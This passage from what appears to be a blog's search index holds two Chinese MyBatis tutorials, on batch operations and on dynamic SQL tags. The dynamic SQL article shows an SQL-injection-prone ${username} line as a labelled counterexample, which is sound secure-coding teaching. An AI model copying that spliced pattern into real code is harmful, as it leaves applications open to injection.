JOIN</p></li><li><p>事务隔离级别的选择：根据业务需求选择合适的级别</p></li><li><p>常见的锁问题：行锁、表锁、死锁的处理</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。</p>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MyBatis 批量操作：性能优化实战</title>
      <link href="//mybatis-pi-liang-cha-ru-he-xing-neng-you-hua/"/>
      <url>//mybatis-pi-liang-cha-ru-he-xing-neng-you-hua/</url>
      
        <content type="html"><![CDATA[<h1 id="MyBatis-批量操作：性能优化实战"><a href="#MyBatis-批量操作：性能优化实战" class="headerlink" title="MyBatis 批量操作：性能优化实战"></a>MyBatis 批量操作：性能优化实战</h1><p>MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。</p><h2 id="批量插入"><a href="#批量插入" class="headerlink" title="批量插入"></a>批量插入</h2><p>#</p><h2 id="方式一：使用-foreach-标签"><a href="#方式一：使用-foreach-标签" class="headerlink" title="方式一：使用 foreach 标签"></a>方式一：使用 foreach 标签</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">insert</span> <span class="attr">id</span>=<span class="string">&quot;batchInsert&quot;</span>&gt;</span></span><br><span class="line">    INSERT INTO users (username, email, created_at)</span><br><span class="line">    VALUES</span><br><span class="line">    <span class="tag">&lt;<span class="name">foreach</span> <span class="attr">collection</span>=<span class="string">&quot;list&quot;</span> <span class="attr">item</span>=<span class="string">&quot;item&quot;</span> <span class="attr">separator</span>=<span class="string">&quot;,&quot;</span>&gt;</span></span><br><span class="line">        (#&#123;item.username&#125;, #&#123;item.email&#125;, #&#123;item.createdAt&#125;)</span><br><span class="line">    <span class="tag">&lt;/<span class="name">foreach</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">insert</span>&gt;</span></span><br></pre></td></tr></table></figure><p><strong>Java 代码</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">UserMapper</span> &#123;</span><br><span class="line">    <span class="keyword">void</span> <span class="title function_">batchInsert</span><span class="params">(<span class="meta">@Param(&quot;list&quot;)</span> List&lt;User&gt; users)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 使用</span></span><br><span class="line">List&lt;User&gt; users = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line"><span class="comment">// 添加用户...</span></span><br><span class="line">userMapper.batchInsert(users);</span><br></pre></td></tr></table></figure><p><strong>优点</strong>：一次 SQL 插入多条记录<br><strong>缺点</strong>：SQL 长度有限制，大批量数据需要分批</p><p>#</p><h2 id="方式二：分批插入"><a href="#方式二：分批插入" class="headerlink" title="方式二：分批插入"></a>方式二：分批插入</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">batchInsert</span><span class="params">(List&lt;User&gt; users)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">batchSize</span> <span class="operator">=</span> <span class="number">1000</span>;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; users.size(); i += batchSize) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">end</span> <span class="operator">=</span> Math.min(i + batchSize, users.size());</span><br><span class="line">        List&lt;User&gt; batch = users.subList(i, end);</span><br><span class="line">        userMapper.batchInsert(batch);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>建议</strong>：根据数据库配置调整 batchSize，通常 1000-5000 比较合适。</p><h2 id="批量更新"><a href="#批量更新" class="headerlink" title="批量更新"></a>批量更新</h2><p>#</p><h2 id="方式一：使用-CASE-WHEN"><a href="#方式一：使用-CASE-WHEN" class="headerlink" title="方式一：使用 CASE WHEN"></a>方式一：使用 CASE WHEN</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">update</span> <span class="attr">id</span>=<span class="string">&quot;batchUpdate&quot;</span>&gt;</span></span><br><span class="line">    UPDATE users </span><br><span class="line">    SET </span><br><span class="line">        username = CASE id </span><br><span class="line">            <span class="tag">&lt;<span class="name">foreach</span> <span class="attr">collection</span>=<span class="string">&quot;list&quot;</span> <span class="attr">item</span>=<span class="string">&quot;item&quot;</span> <span class="attr">separator</span>=<span class="string">&quot; &quot;</span>&gt;</span></span><br><span class="line">                WHEN #&#123;item.id&#125; THEN #&#123;item.username&#125;</span><br><span class="line">            <span class="tag">&lt;/<span class="name">foreach</span>&gt;</span></span><br><span class="line">        END,</span><br><span class="line">        email = CASE id </span><br><span class="line">            <span class="tag">&lt;<span class="name">foreach</span> <span class="attr">collection</span>=<span class="string">&quot;list&quot;</span> <span class="attr">item</span>=<span class="string">&quot;item&quot;</span> <span class="attr">separator</span>=<span class="string">&quot; &quot;</span>&gt;</span></span><br><span class="line">                WHEN #&#123;item.id&#125; THEN #&#123;item.email&#125;</span><br><span class="line">            <span class="tag">&lt;/<span class="name">foreach</span>&gt;</span></span><br><span class="line">        END</span><br><span class="line">    WHERE id IN </span><br><span class="line">    <span class="tag">&lt;<span class="name">foreach</span> <span class="attr">collection</span>=<span class="string">&quot;list&quot;</span> <span class="attr">item</span>=<span class="string">&quot;item&quot;</span> <span class="attr">open</span>=<span class="string">&quot;(&quot;</span> <span class="attr">separator</span>=<span class="string">&quot;,&quot;</span> <span class="attr">close</span>=<span class="string">&quot;)&quot;</span>&gt;</span></span><br><span class="line">        #&#123;item.id&#125;</span><br><span class="line">    <span class="tag">&lt;/<span class="name">foreach</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">update</span>&gt;</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="方式二：使用-ExecutorType-BATCH"><a href="#方式二：使用-ExecutorType-BATCH" class="headerlink" title="方式二：使用 ExecutorType.BATCH"></a>方式二：使用 ExecutorType.BATCH</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">SqlSession</span> <span class="variable">session</span> <span class="operator">=</span> sqlSessionFactory.openSession(ExecutorType.BATCH);</span><br><span class="line"><span class="type">UserMapper</span> <span class="variable">mapper</span> <span class="operator">=</span> session.getMapper(UserMapper.class);</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (User user : users) &#123;</span><br><span class="line">    mapper.update(user);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">session.commit();</span><br><span class="line">session.close();</span><br></pre></td></tr></table></figure><p><strong>优点</strong>：将多个更新语句打包发送<br><strong>缺点</strong>：不返回更新行数</p><h2 id="批量删除"><a href="#批量删除" class="headerlink" title="批量删除"></a>批量删除</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">delete</span> <span class="attr">id</span>=<span class="string">&quot;batchDelete&quot;</span>&gt;</span></span><br><span class="line">    DELETE FROM users WHERE id IN</span><br><span class="line">    <span class="tag">&lt;<span class="name">foreach</span> <span class="attr">collection</span>=<span class="string">&quot;ids&quot;</span> <span class="attr">item</span>=<span class="string">&quot;id&quot;</span> <span class="attr">open</span>=<span class="string">&quot;(&quot;</span> <span class="attr">separator</span>=<span class="string">&quot;,&quot;</span> <span class="attr">close</span>=<span class="string">&quot;)&quot;</span>&gt;</span></span><br><span class="line">        #&#123;id&#125;</span><br><span class="line">    <span class="tag">&lt;/<span class="name">foreach</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">delete</span>&gt;</span></span><br></pre></td></tr></table></figure><p><strong>Java 代码</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">UserMapper</span> &#123;</span><br><span class="line">    <span class="keyword">void</span> <span class="title function_">batchDelete</span><span class="params">(<span class="meta">@Param(&quot;ids&quot;)</span> List&lt;Long&gt; ids)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="性能优化技巧"><a href="#性能优化技巧" class="headerlink" title="性能优化技巧"></a>性能优化技巧</h2><p>#</p><h2 id="1-关闭自动提交"><a href="#1-关闭自动提交" class="headerlink" title="1. 关闭自动提交"></a>1. 关闭自动提交</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">SqlSession</span> <span class="variable">session</span> <span class="operator">=</span> sqlSessionFactory.openSession(<span class="literal">false</span>);</span><br><span class="line"><span class="comment">// 执行批量操作</span></span><br><span class="line">session.commit();</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-使用合适的批次大小"><a href="#2-使用合适的批次大小" class="headerlink" title="2. 使用合适的批次大小"></a>2. 使用合适的批次大小</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 根据数据大小调整</span></span><br><span class="line"><span class="type">int</span> <span class="variable">batchSize</span> <span class="operator">=</span> <span class="number">1000</span>; <span class="comment">// 一般 1000-5000 比较合适</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-禁用二级缓存"><a href="#3-禁用二级缓存" class="headerlink" title="3. 禁用二级缓存"></a>3. 禁用二级缓存</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 在批量操作期间禁用二级缓存</span></span><br><span class="line"><span class="meta">@Options(useCache = false, flushCache = Options.FlushCachePolicy.TRUE)</span></span><br><span class="line"><span class="keyword">void</span> <span class="title function_">batchInsert</span><span class="params">(<span class="meta">@Param(&quot;list&quot;)</span> List&lt;User&gt; users)</span>;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-使用-JDBC-批处理"><a href="#4-使用-JDBC-批处理" class="headerlink" title="4. 使用 JDBC 批处理"></a>4. 使用 JDBC 批处理</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">mybatis:</span></span><br><span class="line">  <span class="attr">configuration:</span></span><br><span class="line">    <span class="attr">default-executor-type:</span> <span class="string">batch</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-考虑使用原生-JDBC"><a href="#5-考虑使用原生-JDBC" class="headerlink" title="5. 考虑使用原生 JDBC"></a>5. 考虑使用原生 JDBC</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">try</span> (<span class="type">Connection</span> <span class="variable">conn</span> <span class="operator">=</span> getConnection()) &#123;</span><br><span class="line">    <span class="type">String</span> <span class="variable">sql</span> <span class="operator">=</span> <span class="string">&quot;INSERT INTO users (username, email) VALUES (?, ?)&quot;</span>;</span><br><span class="line">    <span class="type">PreparedStatement</span> <span class="variable">ps</span> <span class="operator">=</span> conn.prepareStatement(sql);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (User user : users) &#123;</span><br><span class="line">        ps.setString(<span class="number">1</span>, user.getUsername());</span><br><span class="line">        ps.setString(<span class="number">2</span>, user.getEmail());</span><br><span class="line">        ps.addBatch();</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (++count % batchSize == <span class="number">0</span>) &#123;</span><br><span class="line">            ps.executeBatch();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    ps.executeBatch();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="实战案例"><a href="#实战案例" class="headerlink" title="实战案例"></a>实战案例</h2><p>#</p><h2 id="案例：批量导入用户数据"><a href="#案例：批量导入用户数据" class="headerlink" title="案例：批量导入用户数据"></a>案例：批量导入用户数据</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserMapper userMapper;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">int</span> <span class="variable">BATCH_SIZE</span> <span class="operator">=</span> <span class="number">1000</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserService</span><span class="params">(UserMapper userMapper)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userMapper = userMapper;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Transactional</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">importUsers</span><span class="params">(List&lt;User&gt; users)</span> &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">total</span> <span class="operator">=</span> users.size();</span><br><span class="line">        <span class="type">int</span> <span class="variable">batches</span> <span class="operator">=</span> (total + BATCH_SIZE - <span class="number">1</span>) / BATCH_SIZE;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; batches; i++) &#123;</span><br><span class="line">            <span class="type">int</span> <span class="variable">start</span> <span class="operator">=</span> i * BATCH_SIZE;</span><br><span class="line">            <span class="type">int</span> <span class="variable">end</span> <span class="operator">=</span> Math.min(start + BATCH_SIZE, total);</span><br><span class="line">            List&lt;User&gt; batch = users.subList(start, end);</span><br><span class="line">            </span><br><span class="line">            userMapper.batchInsert(batch);</span><br><span class="line">            </span><br><span class="line">            log.info(<span class="string">&quot;已导入 &#123;&#125;/&#123;&#125; 条用户数据&quot;</span>, end, total);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="注意事项"><a href="#注意事项" class="headerlink" title="注意事项"></a>注意事项</h2><p>#</p><h2 id="1-事务管理"><a href="#1-事务管理" class="headerlink" title="1. 事务管理"></a>1. 事务管理</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Transactional</span> <span class="comment">// 确保批量操作在一个事务中</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">batchOperation</span><span class="params">(List&lt;Data&gt; dataList)</span> &#123;</span><br><span class="line">    <span class="comment">// 执行批量操作</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-错误处理"><a href="#2-错误处理" class="headerlink" title="2. 错误处理"></a>2. 错误处理</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Transactional(rollbackFor = Exception.class)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">batchInsert</span><span class="params">(List&lt;User&gt; users)</span> &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="comment">// 执行批量插入</span></span><br><span class="line">    &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">        log.error(<span class="string">&quot;批量插入失败&quot;</span>, e);</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">BusinessException</span>(<span class="string">&quot;批量插入失败&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-数据校验"><a href="#3-数据校验" class="headerlink" title="3. 数据校验"></a>3. 数据校验</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">batchInsert</span><span class="params">(List&lt;User&gt; users)</span> &#123;</span><br><span class="line">    <span class="comment">// 在插入前校验数据</span></span><br><span class="line">    <span class="keyword">for</span> (User user : users) &#123;</span><br><span class="line">        validateUser(user);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    userMapper.batchInsert(users);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MyBatis 批量操作的关键是：</p><ol><li>使用 foreach 标签构建批量 SQL</li><li>合理设置批次大小</li><li>关闭自动提交，手动管理事务</li><li>根据数据量选择合适的方式</li></ol><p>写这篇文章时，我特意做了性能测试。在大批量数据场景下，批量操作的性能比单条插入提升了几十倍。希望这些实践能帮到你。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>动态 SQL 的常用标签：if、where、choose、foreach</p></li><li><p>一级缓存和二级缓存的区别及使用场景</p></li><li><p>参数处理：#{} 和 ${} 的区别，防止 SQL 注入</p></li><li><p>批量操作的优化：使用 foreach 或 ExecutorType.BATCH</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。</p>]]></content>
      
      
      <categories>
          
          <category> MyBatis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> MyBatis </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MyBatis 动态 SQL 实战：优雅处理复杂查询</title>
      <link href="//mybatis-dong-tai-sql-de-zheng-que-xie-fa/"/>
      <url>//mybatis-dong-tai-sql-de-zheng-que-xie-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="MyBatis-动态-SQL-实战：优雅处理复杂查询"><a href="#MyBatis-动态-SQL-实战：优雅处理复杂查询" class="headerlink" title="MyBatis 动态 SQL 实战：优雅处理复杂查询"></a>MyBatis 动态 SQL 实战：优雅处理复杂查询</h1><p>MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。</p><h2 id="基础用法：if-标签"><a href="#基础用法：if-标签" class="headerlink" title="基础用法：if 标签"></a>基础用法：if 标签</h2><p>最常用的场景是根据条件动态添加查询条件：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;listUsers&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">    SELECT id, username, email, create_time</span><br><span class="line">    FROM user</span><br><span class="line">    <span class="tag">&lt;<span class="name">where</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;username != null and username != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">            AND username LIKE CONCAT(&#x27;%&#x27;, #&#123;username&#125;, &#x27;%&#x27;)</span><br><span class="line">        <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;email != null and email != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">            AND email = #&#123;email&#125;</span><br><span class="line">        <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;startTime != null&quot;</span>&gt;</span></span><br><span class="line">            AND create_time &gt;= #&#123;startTime&#125;</span><br><span class="line">        <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;endTime != null&quot;</span>&gt;</span></span><br><span class="line">            AND create_time &lt;= #&#123;endTime&#125;</span><br><span class="line">        <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">where</span>&gt;</span></span><br><span class="line">    ORDER BY create_time DESC</span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p><strong>注意</strong>：<code>where</code> 标签会自动处理多余的 <code>AND</code> 或 <code>OR</code>，避免 SQL 语法错误。</p><h2 id="分支选择：choose-标签"><a href="#分支选择：choose-标签" class="headerlink" title="分支选择：choose 标签"></a>分支选择：choose 标签</h2><p>类似 Java 的 switch-case，只执行第一个匹配的条件：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;getUser&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">    SELECT id, username, email</span><br><span class="line">    FROM user</span><br><span class="line">    <span class="tag">&lt;<span class="name">where</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">choose</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">when</span> <span class="attr">test</span>=<span class="string">&quot;id != null&quot;</span>&gt;</span></span><br><span class="line">                AND id = #&#123;id&#125;</span><br><span class="line">            <span class="tag">&lt;/<span class="name">when</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">when</span> <span class="attr">test</span>=<span class="string">&quot;username != null and username != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">                AND username = #&#123;username&#125;</span><br><span class="line">            <span class="tag">&lt;/<span class="name">when</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">otherwise</span>&gt;</span></span><br><span class="line">                AND status = 1</span><br><span class="line">            <span class="tag">&lt;/<span class="name">otherwise</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">choose</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">where</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><h2 id="批量操作：foreach-标签"><a href="#批量操作：foreach-标签" class="headerlink" title="批量操作：foreach 标签"></a>批量操作：foreach 标签</h2><p>处理集合类型的参数非常方便：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="comment">&lt;!-- 批量查询 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;listByIds&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">    SELECT id, username, email</span><br><span class="line">    FROM user</span><br><span class="line">    WHERE id IN</span><br><span class="line">    <span class="tag">&lt;<span class="name">foreach</span> <span class="attr">collection</span>=<span class="string">&quot;ids&quot;</span> <span class="attr">item</span>=<span class="string">&quot;id&quot;</span> <span class="attr">open</span>=<span class="string">&quot;(&quot;</span> <span class="attr">separator</span>=<span class="string">&quot;,&quot;</span> <span class="attr">close</span>=<span class="string">&quot;)&quot;</span>&gt;</span></span><br><span class="line">        #&#123;id&#125;</span><br><span class="line">    <span class="tag">&lt;/<span class="name">foreach</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 批量插入 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">insert</span> <span class="attr">id</span>=<span class="string">&quot;batchInsert&quot;</span>&gt;</span></span><br><span class="line">    INSERT INTO user (username, email)</span><br><span class="line">    VALUES</span><br><span class="line">    <span class="tag">&lt;<span class="name">foreach</span> <span class="attr">collection</span>=<span class="string">&quot;list&quot;</span> <span class="attr">item</span>=<span class="string">&quot;item&quot;</span> <span class="attr">separator</span>=<span class="string">&quot;,&quot;</span>&gt;</span></span><br><span class="line">        (#&#123;item.username&#125;, #&#123;item.email&#125;)</span><br><span class="line">    <span class="tag">&lt;/<span class="name">foreach</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">insert</span>&gt;</span></span><br></pre></td></tr></table></figure><p><strong>collection 属性</strong>：</p><ul><li>数组：<code>collection=&quot;array&quot;</code></li><li>List：<code>collection=&quot;list&quot;</code></li><li>自定义参数名：<code>collection=&quot;ids&quot;</code>（配合 <code>@Param</code>）</li></ul><h2 id="set-标签：动态更新"><a href="#set-标签：动态更新" class="headerlink" title="set 标签：动态更新"></a>set 标签：动态更新</h2><p>更新操作时，避免更新 null 值：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">update</span> <span class="attr">id</span>=<span class="string">&quot;updateUser&quot;</span>&gt;</span></span><br><span class="line">    UPDATE user</span><br><span class="line">    <span class="tag">&lt;<span class="name">set</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;username != null and username != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">            username = #&#123;username&#125;,</span><br><span class="line">        <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;email != null and email != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">            email = #&#123;email&#125;,</span><br><span class="line">        <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;status != null&quot;</span>&gt;</span></span><br><span class="line">            status = #&#123;status&#125;,</span><br><span class="line">        <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">set</span>&gt;</span></span><br><span class="line">    WHERE id = #&#123;id&#125;</span><br><span class="line"><span class="tag">&lt;/<span class="name">update</span>&gt;</span></span><br></pre></td></tr></table></figure><p><code>set</code> 标签会自动移除最后一个逗号。</p><h2 id="trim-标签：自定义处理"><a href="#trim-标签：自定义处理" class="headerlink" title="trim 标签：自定义处理"></a>trim 标签：自定义处理</h2><p>当 <code>where</code> 和 <code>set</code> 不能满足需求时，可以用 <code>trim</code>：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">trim</span> <span class="attr">prefix</span>=<span class="string">&quot;WHERE&quot;</span> <span class="attr">prefixOverrides</span>=<span class="string">&quot;AND |OR &quot;</span>&gt;</span></span><br><span class="line">    <span class="comment">&lt;!-- 内容 --&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">trim</span>&gt;</span></span><br></pre></td></tr></table></figure><p>常用属性：</p><ul><li><code>prefix</code>：在内容前添加的字符串</li><li><code>prefixOverrides</code>：移除内容开头的指定字符串</li><li><code>suffix</code>：在内容后添加的字符串</li><li><code>suffixOverrides</code>：移除内容结尾的指定字符串</li></ul><h2 id="SQL-片段：重复使用"><a href="#SQL-片段：重复使用" class="headerlink" title="SQL 片段：重复使用"></a>SQL 片段：重复使用</h2><p>把常用的 SQL 片段抽出来复用：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">sql</span> <span class="attr">id</span>=<span class="string">&quot;userColumns&quot;</span>&gt;</span></span><br><span class="line">    id, username, email, status, create_time, update_time</span><br><span class="line"><span class="tag">&lt;/<span class="name">sql</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;getUser&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">    SELECT <span class="tag">&lt;<span class="name">include</span> <span class="attr">refid</span>=<span class="string">&quot;userColumns&quot;</span>/&gt;</span></span><br><span class="line">    FROM user</span><br><span class="line">    WHERE id = #&#123;id&#125;</span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><h2 id="实战建议"><a href="#实战建议" class="headerlink" title="实战建议"></a>实战建议</h2><p>#</p><h2 id="1-始终使用-而非"><a href="#1-始终使用-而非" class="headerlink" title="1. 始终使用 #{} 而非 ${}"></a>1. 始终使用 #{} 而非 ${}</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="comment">&lt;!-- 正确 --&gt;</span></span><br><span class="line">WHERE username = #&#123;username&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 危险！可能导致 SQL 注入 --&gt;</span></span><br><span class="line">WHERE username = &#x27;$&#123;username&#125;&#x27;</span><br></pre></td></tr></table></figure><p><code>#{}</code> 会预编译，<code>${}</code> 直接拼接字符串。</p><p>#</p><h2 id="2-日志调试"><a href="#2-日志调试" class="headerlink" title="2. 日志调试"></a>2. 日志调试</h2><p>开启 SQL 日志，方便排查问题：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">mybatis:</span></span><br><span class="line">  <span class="attr">configuration:</span></span><br><span class="line">    <span class="attr">log-impl:</span> <span class="string">org.apache.ibatis.logging.stdout.StdOutImpl</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-复杂查询配合注解"><a href="#3-复杂查询配合注解" class="headerlink" title="3. 复杂查询配合注解"></a>3. 复杂查询配合注解</h2><p>简单 SQL 可以用注解，复杂 SQL 建议用 XML：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Select(&quot;SELECT * FROM user WHERE id = #&#123;id&#125;&quot;)</span></span><br><span class="line">User <span class="title function_">selectById</span><span class="params">(Long id)</span>;</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MyBatis 的动态 SQL 功能非常强大，能优雅地处理各种复杂查询场景。关键是要理解每个标签的作用，合理组合使用。实际项目中，我通常会把复杂的查询逻辑写在 XML 中，简单的 CRUD 